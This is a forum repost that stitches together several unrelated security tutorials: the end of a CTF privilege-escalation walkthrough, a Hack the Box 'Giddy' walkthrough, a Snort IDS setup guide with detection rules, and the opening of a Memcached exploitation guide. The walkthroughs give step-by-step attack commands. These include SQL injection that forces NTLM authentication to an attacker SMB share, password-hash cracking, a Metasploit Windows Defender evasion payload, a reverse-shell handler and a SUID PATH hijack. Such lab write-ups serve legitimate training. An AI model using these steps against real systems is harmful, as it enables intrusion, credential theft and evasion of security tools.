![[Image: 29.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-Bn4Foay8_OI/XHT3sfW1kfI/AAAAAAAAdC0/ux8w1FcnZq8JcXFVs9QssoYnxK_Dqk6XwCLcBGAs/s1600/29.png?w=687&ssl=1)
We also find a file called “zabbix-service” with SUID bit set. We find that the program is executing “systemctl” when we check the program with strings.
![[Image: 30.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-x805D0yyUNU/XHT3tE28STI/AAAAAAAAdDA/wEZ12Dsbf245noA-SaJYrGNSHmvKLovWgCLcBGAs/s1600/30.png?w=687&ssl=1)
Now we can modify the PATH environment variable so that the program can run our malicious “systemctl”. We create a new systemctl file that executes /bin/bash and gives it executable permission. Then we change the PATH environment variable to the location in which our malicious file is stored and run the application. As soon as we run the program we get a root shell.
echo "/bin/bash" > systemctl
chmod +x systemctl
PATH=~/:$PATH
utils/zabbix-service
1
2
3
4
echo "/bin/bash" > systemctl
chmod +x systemctl
PATH=~/:$PATH
utils/zabbix-service
![[Image: 31.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-EIY6cxKgu5c/XHT3s133N2I/AAAAAAAAdC8/RS6D5JUtvnE180mSvy3PrwZwQ0l0lVQbACLcBGAs/s1600/31.png?w=687&ssl=1)
Now we change to /root directory and find a file called “root.txt”. We take a look at the content of the file and find our final flag.
|
|
|
|
| [Guide] How to Hack the Box: Giddy Walkthrough |
|
Posted by: NINZA - 05-14-2020, 11:42 AM - Forum: Carders Home
- No Replies
|
 |
Today we are going to solve another CTF challenge “Giddy”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Expert
Task: To find user.txt and root.txt file
Note: Since these labs are online available therefore they have a static IP. The IP of Giddy is 10.10.10.104
Penetrating Methodology
- Network scanning (Nmap)
- Surfing HTTPS service port (80)
- Directory Bruteforcing using dirb
- Discovering SQL Injection in URL
- Hosting directory using impacket
- Enumerating for password hashes
- Crack password hash using John the Ripper
- Connecting a new session with extracted login credentials
- Enumerating for user flag
- Using Evasion to bypass the Windows Defender
- Upload payload to the target and get a meterpreter session
- Snagging the Root Flag
Walkthrough
Let’s start off with our basic nmap command to find out the open ports and services.
nmap -sV -sC 10.10.10.104
1
nmap -sV -sC 10.10.10.104
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-I_H3-4ZfWAw/XHLEWzeQCuI/AAAAAAAAc98/ye3QeB96fM41xBR_cneY-25VGxsBM51ewCLcBGAs/s1600/1.png?w=687&ssl=1)
The nmap scan shows us that there are 5 ports open: 80(HTTP), 443(HTTPS), 3389(RDP)
As port 80 is running HTTP service, we access the web service through our browser.
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-YBFqoOr59lM/XHLEZ6cQ2MI/AAAAAAAAc-c/t3z-4fOvQQU-d5mn2bjXVjRbNJlQpRQngCLcBGAs/s1600/2.png?w=687&ssl=1)
We don’t find anything on the webpage, so we access the web service running on port 443.
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-9KuH6vaX020/XHLEdBr-10I/AAAAAAAAc-0/CGw1vkB3xDshFYjEY-6cd6jQ5vNogF7iwCLcBGAs/s1600/3.png?w=687&ssl=1)
We still don’t find anything on the webpage. So we enumerate the web application further, as port 80 and 443 seems to be the same. We start enumerating the web service at port 443. We run dirb scan and find 2 directories called “mvc” and “remote”.
dirb [To see content please register here] /usr/share/wordlists/dirb/big.txt
1
dirb [To see content please register here] /usr/share/wordlists/dirb/big.txt
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-SvP05mR4gNs/XHLEdOdtMMI/AAAAAAAAc-4/LgJ2cvmtjbsfRfcYJ9zvLhSWOyE7o6DHACLcBGAs/s1600/4.png?w=687&ssl=1)
We open the /remote/ directory and find a PowerShell web access login page.
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-b6ahXrylRYA/XHLEdqgdSNI/AAAAAAAAc-8/m2tD3fDNU6ceP1-n85IxWpVPpgl83oHygCLcBGAs/s1600/5.png?w=687&ssl=1)
We open the mvc directory and find a list of products.
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-nUF5NoPlaq0/XHLEeF0r0rI/AAAAAAAAc_A/eK1YWAvl5ecghbtG8m15P-07FxCMAHUnwCLcBGAs/s1600/6.png?w=687&ssl=1)
We click on one of the products and looking at the URL, it might be possible that it is vulnerable to SQL injection.
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-i-wRtf1mCvw/XHLEeSB7SqI/AAAAAAAAc_E/S6vnqnDmWs0vWMuAT0bj9QR91OeswRTsgCLcBGAs/s1600/7.png?w=687&ssl=1)
Now to check if the web application is vulnerable to SQL injection or not, we add a single quote at the end of “ProductSubCategoyId” parameter and by checking the error we find that the application is vulnerable to SQL injection.
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-tKi1P1wMEGw/XHLEeS88WaI/AAAAAAAAc_I/NHG46_loaS437pxcd1JACfcY9PTlUVInwCLcBGAs/s1600/8.png?w=687&ssl=1)
We don’t find anything useful by enumerating the database using SQL injection and we are also not able to get a reverse shell using xp_cmdshell. So we are going steal NTLM hashes using “xp_dirtree”.
So we first setup impacket-smbserver on our local system.
impacket-smbserver hack $(pwd)
1
impacket-smbserver hack $(pwd)
![[Image: 9.1.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-uZUoMMlEBTU/XHLEfKMINWI/AAAAAAAAc_M/kB79lSRCphUeBkaegn_lL86gx63gIyIFwCLcBGAs/s1600/9.1.png?w=687&ssl=1)
Now we are going to send a query that will make the remote system authenticate to our share folder and we will be able to capture the NTLM hashes.
; use master; exec xp_dirtree '\\10.10.15.111\hack';--
1
; use master; exec xp_dirtree '\\10.10.15.111\hack';--
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-zRXMazxuiyU/XHLEfTyLROI/AAAAAAAAc_Q/83VT5ABCYAAeu9VPbsw69VmWRMhhu2_8gCLcBGAs/s1600/9.png?w=687&ssl=1)
Now we can see on our smbserver that the hashes were captured when the remote machine to tried to connect.
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-ozSn4G1MU98/XHLEW7UmYjI/AAAAAAAAc-A/uCWZXNYwqAcC5b09liYQLkWWNRlHSI6UgCLcBGAs/s1600/10.png?w=687&ssl=1)
We copy the hashes and store it in a file in our local system and use john the ripper to crack the hashes. After cracking NTLM hash we are successfully able to get the correct password to be “xNnWo6272k7x”.
john --wordlist:/usr/share/wordlists/rockyou.txt hash
1
john --wordlist:/usr/share/wordlists/rockyou.txt hash
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-unkFEqXpZW0/XHLEWsG-bOI/AAAAAAAAc94/RPTR8bU1iXo2QtpHbHGcCqbGW1ifXCCwACLcBGAs/s1600/11.png?w=687&ssl=1)
As we have the password for the user “stacy”, we use this information to login through the PowerShell web portal.
![[Image: 15.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-Z8MLxm7HhYs/XHLEX4TLlcI/AAAAAAAAc-E/1cluz9IkWiYows0n_Gm4kTC0h1UGVwU2gCLcBGAs/s1600/15.png?w=687&ssl=1)
After logging in we are asked to create a new session.
![[Image: 16.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-UDOJsQe7hk0/XHLEYB4iHvI/AAAAAAAAc-M/RIqSyRNEnaAlUR7VL2YOhEsjsrH9Rw1pQCLcBGAs/s1600/16.png?w=687&ssl=1)
After that, we are successfully able to get a new PowerShell session on the web portal.
![[Image: 17.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-PTPL8_Ae3dE/XHLEYGkSCyI/AAAAAAAAc-I/qKpFiZ6RPlchp6zCGGns4OXbt6unl2JkwCLcBGAs/s1600/17.png?w=687&ssl=1)
Enumerating through the directories of the system, inside “C:\Users\Stacy\Desktop\” we are able to find a file called “user.txt”. We open the file and find our first flag.
![[Image: 18.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-_YdeFV-roQE/XHLEYpKAtFI/AAAAAAAAc-Q/0COceQ4Btoo0IL3H1GBJeUS7mtl4wwffwCLcBGAs/s1600/18.png?w=687&ssl=1)
When we further enumerate the system we find that the target machine has a vulnerable service called unifivideo. We are given a hint when we first access the PowerShell session inside the documents directory there is a file called unifivideo. When we searched for the exploit online we are able to find this exploit [To see content please register here] . We follow the instructions given in the exploit POC but are stopped because of windows defender as it detects our Metasploit payload.
![[Image: 19.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/--UNv1vj0ipQ/XHLEZPwHdaI/AAAAAAAAc-U/YfXPaPIOGRwsd4mvct8V0SOOXcBTXqbkQCLcBGAs/s1600/19.png?w=687&ssl=1)
So to bypass windows defender, we use the evasion module in metasploit-framework to bypass defender.
msf5 > use evasion/windows/windows_defender_exe
msf5 evasion(windows/windows_defender_exe) > set payload windows/meterpreter/reverse_tcp
msf5 evasion(windows/windows_defender_exe) > set lhost tun0
msf5 evasion(windows/windows_defender_exe) > set lport 443
msf5 evasion(windows/windows_defender_exe) > run
1
2
3
4
5
msf5 > use evasion/windows/windows_defender_exe
msf5 evasion(windows/windows_defender_exe) > set payload windows/meterpreter/reverse_tcp
msf5 evasion(windows/windows_defender_exe) > set lhost tun0
msf5 evasion(windows/windows_defender_exe) > set lport 443
msf5 evasion(windows/windows_defender_exe) > run
![[Image: 20.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-hlAjHoYIiAs/XHLEaKZhllI/AAAAAAAAc-g/O_qX8rO4QYwvvoauqGfpRrZbaxnLYDDrACLcBGAs/s1600/20.png?w=687&ssl=1)
Now we follow the steps given in the POC, first we stop the unifi video service.
stop-service -name UniFivideoservice
1
stop-service -name UniFivideoservice
![[Image: 22.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-G8ZskSb9AOo/XHLEZ62feeI/AAAAAAAAc-Y/mCVwP14bYI0g8xRIz-cDQhF31PudAASVgCLcBGAs/s1600/22.png?w=687&ssl=1)
Then we set up our http server on the local system so that we can transfer our payload.
![[Image: 23.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-D9kB-eg60Es/XHLEa8DFhGI/AAAAAAAAc-k/icB2AQGsYzIf7w-8q8uOsR3WR08rQ7BCACLcBGAs/s1600/23.png?w=687&ssl=1)
Now we upload our payload on the target machine using the PowerShell web portal. According to the POC we have to put the payload by the name of taskkill.exe inside “C:\ProgramData\unifi-video\”. After uploading the payload we start the unifi video service.
![[Image: 24.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-CRkZM4rl96E/XHLEbWhVvCI/AAAAAAAAc-o/SbpYXgWjnAAYX12evz8oLjA2BqM0Ur6bACLcBGAs/s1600/24.png?w=687&ssl=1)
We setup our listener before starting the service so that we can get a reverse shell.
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost tun0
msf5 exploit(multi/handler) > set lport 443
msf5 exploit(multi/handler) > run
1
2
3
4
5
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost tun0
msf5 exploit(multi/handler) > set lport 443
msf5 exploit(multi/handler) > run
![[Image: 25.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-on1ILiKH3Cc/XHLEbUzzAJI/AAAAAAAAc-s/8zDW7lGxYn8TWfKAXVLYz-lUdEa7dPWawCLcBGAs/s1600/25.png?w=687&ssl=1)
After running the service we get a reverse shell as administrator.
We now enumerate the system, inside “C:\Users\Administrator\Desktop” we find a file called “root.txt”. We take a look at the content of the file and find the final flag.
![[Image: 26.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-_TfhbdyMZR4/XHLEcOJmG9I/AAAAAAAAc-w/jZatDFVgCzEtYF3I1wxHUkefOu-zvGkHwCLcBGAs/s1600/26.png?w=687&ssl=1)
This article will introduce a guide to understand IDS using Snort as an example for it.
Table of Content :- Introduction to IDS
- Categories of IDS
- Types of IDS
- Introduction to Snort
Introduction to IDS
IDS Stands for Intrusion Detection System. The techniques and methods on which an IDS is founded on are used to monitor and reveal malicious activities both on the host and network level. Once the said activities occur then an alert is issued to aware every one of the attack. It can be hardware or software or a combination of both; depends on the requirement. An IDS use both signature or anomaly based technique together or separately; again depending on requirement. Your network topology determines where to add intrusion detection systems. Whether it should be positioned at one or more places depends on if you want to track internal threat or external threat. For instance, if you want to protect yourself from external traffic then you should place an IDS at the router and if you want to protect the inner network then place the IDS on every network segment.
Categories of IDS
Signature-Based IDS
This IDS verifies signatures of data packets in the network traffic. Basically, it finds the data packets and uses their signatures to confirm whether they are a threat or not. Such signatures are commonly known for intrusion-related signatures or anomalies related to internet protocol. Intruders such as computer viruses, etc, always have a signature, therefore, it can be easily detected by software IDS. As it uses signatures to identify the threats.
Anomaly IDS
This IDS usually detects if a data packet behaves anomaly. It issues an alert if packet anomalies are present in protocol header parts. This system produces better results in some cases than signature-based IDS. Normally such IDS captures data from the network and on these packets, it then applies the rules to it in order to detect anomalies.
Types of IDS
NIDS
NIDS stand for Network Intrusion Detection System. These types of IDS will capture data packets that were received and sent in the network and tally such packets from the database of signatures. if the packet is a match then no alert will be issued otherwise it will issue an alert letting everyone know of a malicious attack. Snort is an excellent example of a NIDS.
HIDS
HIDS stands for Host Intrusion Detection System which, obviously, acts as a host. Such types of IDS monitor system and application logs to detect intruder activity. Some IDS reacts when some malicious activity takes place, others monitor all the traffics coming to the host where IDS is installed and give alerts in real time.
Introduction to snort
Snort is a Network Intrusion Detection System (NIDS). It’s quite popular and is open source software which helps in monitor network traffic in real-time, hence it can also be considered as a packet sniffer. Basically, it examines each and every data packet in depth to see if there are any malicious payloads. it can also be used for protocol analysis and content searching. It is capable of detecting various attacks like port scans, buffer overflow, etc. It’s available for all platforms i.e. Windows, Linux, etc. It doesn’t require any recompilation with the system or hardware to added to your distribution; root privileges are required though. It inspects all the network traffic against the provided set of rules and then alerts the administration about any suspicious activity. it’s divided into multiple components and all the components work together to detect an intrusion. Following are the major components of snort :- Packet Decoder
- Pre-processors
- Detection Engine
- Logging and Alerting System
- Output Modules
Installation of Snort
First, use the ifconfig command in your Ubuntu to check the interface. As you can see the image below the interface is ens33.
![[Image: 1.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-TAKB3TR1DK0/XHDeYJoiRWI/AAAAAAAAc70/J8gDMNinposocqgQj_Qy_lLrD0L_OM_EwCEwYBhgL/s1600/1.png?w=687)
Now, let’s install snort by using the following command :
sudo apt-get install snort*
1
sudo apt-get install snort*
![[Image: 2.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-MncFAEla09s/XHDebrnvxFI/AAAAAAAAc8c/UXLXn0av0u8ezOvb262BwriAHiC-64tcQCEwYBhgL/s1600/2.png?w=687)
Once the installation starts, it will ask you the interface that we previously checked. Give its name here and press enter.
![[Image: 3.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-F856f4uZuJU/XHDedzkc0_I/AAAAAAAAc84/rsq34bpaBKIPei7NbEIZwObD8kgMoiqaQCEwYBhgL/s1600/3.png?w=687)
Then it will ask you about your network IP. Here, you can either provide a single IP or the range of IPs as we have given below in the image :
![[Image: 4.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-bnM9a_aivwc/XHDeeKftydI/AAAAAAAAc88/PHMrcGiWe-44-SeapQhwjaUphs2YyoC0wCEwYBhgL/s1600/4.png?w=687)
Then possible, it will again ask you for the name of the interface, provide it again and press enter.
![[Image: 5.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-14O84pCbX4U/XHDeeXu6ZxI/AAAAAAAAc9A/YIbbElMD7rgJBYPd-ijJk-mVamXeYvCMACEwYBhgL/s1600/5.png?w=687)
As the snort is installed, open the configuration file using nano or any text editor to make some changes inside. Use the following command to do so :
sudo nano /etc/snort/snort.conf
1
sudo nano /etc/snort/snort.conf
Scroll down the text file near line number 45 to specify your network for protection as shown in the given image.
#Setup the network addresses you are protecting
ipvar HOME_NET 192.168.1.21
1
ipvar HOME_NET 192.168.1.21
![[Image: 6.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-a00FM9rG21U/XHDeeb5ln1I/AAAAAAAAc9E/uzEauvIYbPMQvabOxOS1ifq2ackg3XoBACEwYBhgL/s1600/6.png?w=687)
Now run given below command to enable IDS mode of snort :
sudo snort -A console -i ens33 -c /etc/snort/snort.conf
1
sudo snort -A console -i ens33 -c /etc/snort/snort.conf
The above command will compile the complete file and test the configuration setting automatically as shown in given below image:
![[Image: 7.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-CUJFOQC1DA4/XHDeetUS1uI/AAAAAAAAc9I/n4q8nMRL29g6q5uHlzjToKakD6YNd1qmACEwYBhgL/s1600/7.png?w=687)
Once the snort is installed and configured, we can start making changes to its rules as per our own requirement and desire. To the rules on which snort works use the following command :
cd /etc/snort/rules
ls -la
1
2
cd /etc/snort/rules
ls -la
As shown in the image below, you can find all the documents related to rules.
![[Image: 8.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-0XJULYIvv7A/XHDefYVUBII/AAAAAAAAc9M/hBo4JFs6Uesh7zdqosnLgfWwkEjNsv8jQCEwYBhgL/s1600/8.png?w=687)
Snort Rule Format
Snort offers its user to write their own rule for generating logs of Incoming/Outgoing network packets. Only they need to follow the snort rule format where packets must meet the threshold conditions. Always bear in mind that the snort rule can be written by combining two main parts “the Header” and “the Options” segment.
The header part contains information such as the action, protocol, the source IP and port, the network packet Direction operator towards the destination IP and port, the remaining will be considered in the options part.
Syntax: Action Protocol Source IP Source port -> Destination IP Destination port (options)
Header Fields:-
Action: It informs Snort what kind of action to be performed when it discovers a packet that matches the rule description. There are five existing default job actions in Snort: alert, log, pass, activate, and dynamic are keyword use to define the action of rules. You can also go with additional options which include drop, reject, and sdrop.
Protocol: After deciding the option for action in the rule, you need to describe specific Protocol (IP, TCP, UDP, ICMP, any) on which this rule will be applicable.
Source IP: This part of header describes the sender network interface from which traffic is coming.
Source Port: This part of header describes the source Port from which traffic is coming.
Direction operator (“->”, “<>”): It denotes the direction of traffic flow between sender and receiver networks.
Destination IP: This part of header describes the destination network interface in which traffic is coming for establishing the connection.
Destination Port: This part of header describes the destination Port on which traffic is coming for establishing the connection.
Option Fields:
The body for rule option is usually written between circular brackets “()” that contains keywords with their argument and separated by semicolon “;” from another keyword.
There are four major categories of rule options.
General: These options contains metadata that offers information with reference to them.
Payload: These options all come across for data contained by the packet payload and can be interconnected.
Non-payload: These options come across for non-payload data.
Post-detection: These options are rule specific triggers that happen after a rule has fired.”
General Rule Options (Metadata)
In this article are going to explore more about general rule option for beginners so that they can easily write a basic rule in snort rule file and able to analyst packet of their network. Metadata is part of the optional rule which basically contains additional information of about snort rule that is written with the help of some keywords and with their argument details.
Keyword
Description
msg
The msg keyword stands for “Message” that informs to snort that written argument should be print in logs while analyst of any packet.
reference
The reference keyword allows rules to a reference to information present on other systems available on the Internet such as CVE.
gid
The gid keyword stands for “Generator ID “which is used to identify which part of Snort create the event when a specific rule will be launched.
sid
The sid keyword stands for “Snort ID” is used to uniquely identify Snort rules.
rev
The rev keyword stands for “Revision” is used to uniquely identify revisions of Snort rules.
classtype
The classtype keyword is used to assigned classifications and priority numbers to the group and distinguish them a rule as detecting an attack that is part of a more general type of attack class.
Syntax: config classification: name, description, priority number.
priority
The priority keyword to assigns a severity rank to your rules.
![[Image: 9.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-Vaz4Msmd5X4/XHDefazjsVI/AAAAAAAAc9Q/BUPzjQ32ft4gBMxFIU-Ibz3_-Mdw6lUCACEwYBhgL/s1600/9.png?w=687)
Let’s start writing snort rule:
To check whether the Snort is logging any alerts as proposed, add a detection rule alert on IP packets in the “local.rules file”
Before writing new rules let’s empty the ICMP rule file by using the following command :
echo "" > icmp.rules
cat icmp.rules
1
2
echo "" > icmp.rules
cat icmp.rules
The cat command will confirm whether the file is empty. Now, let’s empty the icmp-info.rules :
echo "" > icmp-info.rules
cat icmp-info.rules
1
2
echo "" > icmp-info.rules
cat icmp-info.rules
![[Image: 10.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-6Cg1rThy__E/XHDeYCQ0KJI/AAAAAAAAc74/ifo5ej7MTjgXQDEMaqOw8jD96xjN4jCHwCEwYBhgL/s1600/10.png?w=687)
Now let’s write the rule :
alert icmp any any -> 192.168.1.21 any (msg: "ICMP Packet found"; sid:10000001; )
1
alert icmp any any -> 192.168.1.21 any (msg: "ICMP Packet found"; sid:10000001; )
If you observe in the image below, we have used a one-way arrow which means that snort will alert us about incoming malicious traffic :
![[Image: 11.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-bPsL3jf9iq8/XHDeX_1z_0I/AAAAAAAAc7w/5YVOfUHTZZcrYQEG7qQYijHPAkzpY0wQwCEwYBhgL/s1600/11.png?w=687)
The IP (192.168.1.10) we will attack from is shown in the image shown below :
![[Image: 12.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-9OmEw80kqBk/XHDeYn7tWlI/AAAAAAAAc8A/KuLuxIranDgr3qKdc6rjK4dKu4YdPqQgACEwYBhgL/s1600/12.png?w=687)
Now, we will send two packets with the following command :
ping -n 2 192.168.1.21
1
ping -n 2 192.168.1.21
![[Image: 13.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-P2WYDe1ptZE/XHDeYkFVXfI/AAAAAAAAc78/hpx8Rb6ov-Uj0RPiD_FtnUvInDNsp3JmACEwYBhgL/s1600/13.png?w=687)
You can check the details of the packets that are being sent :
![[Image: 14.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-44iF0ADLki4/XHDeZJ4akfI/AAAAAAAAc8E/UFiziCLQBZAsMCe1MGT6D9-DKGFhvRfiQCEwYBhgL/s1600/14.png?w=687)
Use the following command to activate snort in order to catch the malicious packets :
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i ens33
1
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i ens33
Here,
-A Set alert mode: fast, full, console, test or none
-q stands for Quiet, Don’t show banner and status report.
–u Run snort uid as <uname> user
-g Run snort gid as <gname> group (or gid)
-c <rules> Use Rules File
-i listen on interface
And as you can see in the image below the alerts are being issued by snort :
![[Image: 15.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-FvjoWp0tvw8/XHDeZaTqn7I/AAAAAAAAc8I/HI55PtfxBXk9sVbcB5ah49YljdTrWgx-ACEwYBhgL/s1600/15.png?w=687)
Now, add the following rule to see both incoming and outgoing traffic when an alert is issued :
alert icmp any any <> 192.168.1.21 any (msg: "ICMP Packet found"; sid:10000001; )
1
alert icmp any any <> 192.168.1.21 any (msg: "ICMP Packet found"; sid:10000001; )
As the below image shows in this we have used ‘<>’, it is used in order to monitor both sent and received packets when an alert is issued.
![[Image: 16.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-lM2jvyirca8/XHDeZewihgI/AAAAAAAAc8M/WGraA40b7PE_70AEwVh73wYqxqMF6fFbwCEwYBhgL/s1600/16.png?w=687)
Again we will send two packets like before using the following command :
ping -n 192.168.1.21
1
ping -n 192.168.1.21
![[Image: 17.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-7xqKU93uGqA/XHDeaA3uibI/AAAAAAAAc8Q/YlRrtK5Yqa4jYixHXzf_jyQmGRC2Rlt-QCEwYBhgL/s1600/17.png?w=687)
And therefore, as a result, you can see both packets as shown in the image below :
![[Image: 18.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-p-NH6o0FOOY/XHDeao61wYI/AAAAAAAAc8U/G91Di4qkgVktQ9xbo7q5HnTRddYclNRwwCEwYBhgL/s1600/18.png?w=687)
Now we will apply rules on port 21, 22 and 80. This way, whenever a suspicious packet is sent to these ports, we will be notified. Following are the rules to apply to achieve the said :
alert tcp any any -> any 21 (msg: "FTP Packet found"; sid:10000002; )
alert tcp any any -> any 22 (msg: "SSH Packet found"; sid:10000003; )
alert tcp any any -> any 80 (msg: "HTTP Packet found"; sid:10000004; )
1
2
3
alert tcp any any -> any 21 (msg: "FTP Packet found"; sid:10000002; )
alert tcp any any -> any 22 (msg: "SSH Packet found"; sid:10000003; )
alert tcp any any -> any 80 (msg: "HTTP Packet found"; sid:10000004; )
![[Image: 19.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-RhyVdKoLseE/XHDebCv3-SI/AAAAAAAAc8Y/2TwXF-1Cjdk8KXboQ7ZU4rKG3JM81fMQQCEwYBhgL/s1600/19.png?w=687)
When the packet is sent to port 80 as shown in the image :
![[Image: 20.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-aBgTPX0HV9o/XHDecY-l9nI/AAAAAAAAc8g/oURRUKj3YP8NHKxbD2f8A1eaXtw8w1_qwCEwYBhgL/s1600/20.png?w=687)
Snort will issue an alert of HTTP packet as its shown in the image below :
![[Image: 21.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-TJZIyWBLCJY/XHDeclblp7I/AAAAAAAAc8o/BQBn7U-9WW0WuOAnDLOMiFvMv7LoeIZdgCEwYBhgL/s1600/21.png?w=687)
Similarly, when a data packet sent to ftp as given in the following image :
![[Image: 22.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-DnrOJcQzEx8/XHDecgFi8II/AAAAAAAAc8k/HmLKxAPYjmAvTQy-eWYxNWdynrqmNLcfwCEwYBhgL/s1600/22.png?w=687)
The FTP packets will be detected and one will be notified.
![[Image: 23.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-SFAPLnYb_ew/XHDec0zZEhI/AAAAAAAAc8s/fR4kn3omNX4AIrxhz8VgzfQ8hzNhkBu7ACEwYBhgL/s1600/23.png?w=687)
Again, in a similar manner, when one tries to send packets to SSH as shown in the image below :
![[Image: 24.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-ZYBQGZpCpac/XHDedbtDmmI/AAAAAAAAc8w/gi-H2UdGFecrGr0dXsqcQPaFW51hh2nrgCEwYBhgL/s1600/24.png?w=687)
Snort will notify the administration as shown below :
![[Image: 25.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-VU163M2bSgo/XHDedoE5WhI/AAAAAAAAc80/ULtn55_ahdotcVyIYtrWualfkT-7bPFOACEwYBhgL/s1600/25.png?w=687)
This way, using snort or any other IDS one can be protected from network attacks by being notified of them in time.
In our [To see content please register here] article, we learned how to configure Memcached Server in Ubuntu 18.04 system to design our own pentest lab. Today we will learn multiple ways to exploit Memcached Server.
Table of Contents- Dumping data from the Memcached server manually.
- Dumping data using libmemcached-tools.
- Dumping data using Metasploit.
- Monitoring using Watchers.
Requirements
Target: Memcached Server running in Ubuntu 18.04 system
Attacker: Kali Linux
Let’s Begin!!
Dumping data from Memcached server manually
Boot up your Kali Linux machine and do a simple nmap scan first to check whether the target machine is running Memcached Server or not.
nmap -sV -p- 192.168.1.32
1
nmap -sV -p- 192.168.1.32
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-rnSAxbHTRcs/XHAI_Z7JPII/AAAAAAAAc6I/A9HLiqkzY_87uwBCMf1jMMIdG6Ewq9ONgCLcBGAs/s1600/1.png?w=687&ssl=1)
As you can see in the above image, Memcached is running in the target machine and the port 11211 is open.
Now, let’s do a little advanced search using nmap script command by typing the following command.
nmap -p11211 --script=memcached-info 192.168.1.32
1
nmap -p11211 --script=memcached-info 192.168.1.32
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-gnPKPJGUGXc/XHAJCd0bOaI/AAAAAAAAc60/8yvxEGK3JVkuWMgcsctbSvVsnqmqLIPbgCLcBGAs/s1600/2.png?w=687&ssl=1)
As you can see in the above image, nmap script command fetched us some crucial information about the Memcached server such as process ID, Uptime, Architecture, MAC Address etc.
Now, let’s try to connect the Memcached server using telnet by typing in the commands given below.
telnet 192.168.1.32 11211
1
telnet 192.168.1.32 11211
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-ppSb5nbuUJE/XHAJCsSPJgI/AAAAAAAAc64/7jpNdJbeZ38proeneRB3wsyoUoh5YvjBQCLcBGAs/s1600/3.png?w=687&ssl=1)
As you can see in the above image, we are able to connect the Memcached Server through telnet. In such cases, the server is unprotected, hence, an attacker can gain access to the server without any obstacle because the server is not configured with SASL or any kind of firewall. Let’s go ahead and begin exploitation of the Memcached Server of which we gained access previously.
Type in a command version to do a version scan of the Memcached Server.
version
1
version
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-vOrJnKC1YRw/XHAJDSsuPNI/AAAAAAAAc68/o00ahRMqulI9cSg7tqEFeJ_7jTzkC44ZgCLcBGAs/s1600/4.png?w=687&ssl=1)
The above data represents that the version of Memcached is 1.5.6 and it is running in a Ubuntu machine.
Now, let’s get straight to fetch the valuable data stored in the server. Type the command shown below to print all the general statistics of the server.
stats
1
stats
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-XLchBNrELPY/XHAJDtUazXI/AAAAAAAAc7A/kmdRIR0KyfUe_n66DvomK91ymfm9C4TjQCLcBGAs/s1600/5.png?w=687&ssl=1)
